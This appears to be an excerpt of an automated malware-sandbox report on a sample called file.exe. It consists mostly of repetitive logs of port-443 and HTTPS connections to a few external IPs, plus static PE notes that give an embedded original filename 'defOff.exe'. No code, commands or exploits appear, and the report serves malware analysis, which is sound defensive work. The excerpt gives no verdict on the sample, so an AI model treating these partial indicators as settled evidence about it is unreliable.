Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.8:49829 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.1755038650.00000000057C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1776157789.0000000005DD6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1767472131.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1778392277.0000000005B63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1761987222.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1757181158.0000000005CB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1894285939.0000000000A81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.1792476865.000000000576D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOG vs file.exe
Source: file.exe, 00000000.00000003.1760042739.0000000005B66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1763874431.0000000005B66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1768446346.0000000005C90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1780503801.0000000005B6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1912893680.00000000060E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1778950508.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1779943281.0000000005CAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1764121483.0000000005D4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1755038650.0000000005811000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1765473448.0000000005B63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1782054493.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1758134525.0000000005B67000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1756415867.00000000059C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1755038650.0000000005860000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1761340620.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1763328894.0000000005B6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1774005190.0000000005CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1766581302.0000000005B6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1760423936.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1758727359.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
